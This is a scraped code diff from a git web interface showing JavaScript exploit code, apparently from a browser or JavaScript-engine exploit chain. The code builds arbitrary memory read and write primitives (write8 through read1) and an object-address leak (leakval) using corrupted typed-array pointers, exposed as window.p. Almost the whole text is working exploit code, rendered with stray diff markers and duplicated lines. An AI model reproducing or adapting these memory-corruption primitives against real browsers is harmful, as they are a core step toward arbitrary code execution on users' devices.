obj.buffer = expl_master;
|
||||||
|
m[4] = addrof_expl_slave;
|
||||||
|
m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000;
|
||||||
|
|
||||||
var prim = {
|
var prim = {
|
||||||
write8: function(addr, value) {
|
write8: function (addr, value) {
|
||||||
arw_master[4] = addr.low;
|
expl_master[4] = addr.low;
|
||||||
arw_master[5] = addr.hi;
|
expl_master[5] = addr.hi;
|
||||||
if(value instanceof int64) {
|
if (value instanceof int64) {
|
||||||
arw_slave[0] = value.low;
|
expl_slave[0] = value.low;
|
||||||
arw_slave[1] = value.hi;
|
expl_slave[1] = value.hi;
|
||||||
} else {
|
} else {
|
||||||
arw_slave[0] = value;
|
expl_slave[0] = value;
|
||||||
arw_slave[1] = 0;
|
expl_slave[1] = 0;
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
write4: function(addr, value) {
|
write4: function (addr, value) {
|
||||||
arw_master[4] = addr.low;
|
expl_master[4] = addr.low;
|
||||||
arw_master[5] = addr.hi;
|
expl_master[5] = addr.hi;
|
||||||
if(value instanceof int64) {
|
if (value instanceof int64) {
|
||||||
arw_slave[0] = value.low;
|
expl_slave[0] = value.low;
|
||||||
} else {
|
} else {
|
||||||
arw_slave[0] = value;
|
expl_slave[0] = value;
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
write2: function(addr, value) {
|
write2: function (addr, value) {
|
||||||
arw_master[4] = addr.low;
|
expl_master[4] = addr.low;
|
||||||
arw_master[5] = addr.hi;
|
expl_master[5] = addr.hi;
|
||||||
var tmp = arw_slave[0] & 0xFFFF0000;
|
var tmp = expl_slave[0] & 0xFFFF0000;
|
||||||
if(value instanceof int64) {
|
if (value instanceof int64) {
|
||||||
arw_slave[0] = ((value.low & 0xFFFF) | tmp);
|
expl_slave[0] = ((value.low & 0xFFFF) | tmp);
|
||||||
} else {
|
} else {
|
||||||
arw_slave[0] = ((value & 0xFFFF) | tmp);
|
expl_slave[0] = ((value & 0xFFFF) | tmp);
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
write1: function(addr, value) {
|
write1: function (addr, value) {
|
||||||
arw_master[4] = addr.low;
|
expl_master[4] = addr.low;
|
||||||
arw_master[5] = addr.hi;
|
expl_master[5] = addr.hi;
|
||||||
var tmp = arw_slave[0] & 0xFFFFFF00;
|
var tmp = expl_slave[0] & 0xFFFFFF00;
|
||||||
if(value instanceof int64) {
|
if (value instanceof int64) {
|
||||||
arw_slave[0] = ((value.low & 0xFF) | tmp);
|
expl_slave[0] = ((value.low & 0xFF) | tmp);
|
||||||
} else {
|
} else {
|
||||||
arw_slave[0] = ((value & 0xFF) | tmp);
|
expl_slave[0] = ((value & 0xFF) | tmp);
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
read8: function(addr) {
|
read8: function (addr) {
|
||||||
arw_master[4] = addr.low;
|
expl_master[4] = addr.low;
|
||||||
arw_master[5] = addr.hi;
|
expl_master[5] = addr.hi;
|
||||||
return new int64(arw_slave[0], arw_slave[1]);
|
return new int64(expl_slave[0], expl_slave[1]);
|
||||||
},
|
},
|
||||||
read4: function(addr) {
|
read4: function (addr) {
|
||||||
arw_master[4] = addr.low;
|
expl_master[4] = addr.low;
|
||||||
arw_master[5] = addr.hi;
|
expl_master[5] = addr.hi;
|
||||||
return arw_slave[0];
|
return expl_slave[0];
|
||||||
},
|
},
|
||||||
read2: function(addr) {
|
read2: function (addr) {
|
||||||
arw_master[4] = addr.low;
|
expl_master[4] = addr.low;
|
||||||
arw_master[5] = addr.hi;
|
expl_master[5] = addr.hi;
|
||||||
return arw_slave[0] & 0xFFFF;
|
return expl_slave[0] & 0xFFFF;
|
||||||
},
|
},
|
||||||
read1: function(addr) {
|
read1: function (addr) {
|
||||||
arw_master[4] = addr.low;
|
expl_master[4] = addr.low;
|
||||||
arw_master[5] = addr.hi;
|
expl_master[5] = addr.hi;
|
||||||
return arw_slave[0] & 0xFF;
|
return expl_slave[0] & 0xFF;
|
||||||
},
|
},
|
||||||
leakval: function(obj) {
|
leakval: function (obj) {
|
||||||
arrays[257][32] = obj;
|
obj_slave.obj = obj;
|
||||||
union_f[0] = arrays[258][0];
|
return new int64(obj_master[4], obj_master[5]);
|
||||||
return new int64(union_i[0], union_i[1]);
|
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
window.p = prim;
|
window.p = prim;
|
||||||
|
Loading…
Reference in New Issue
Block a user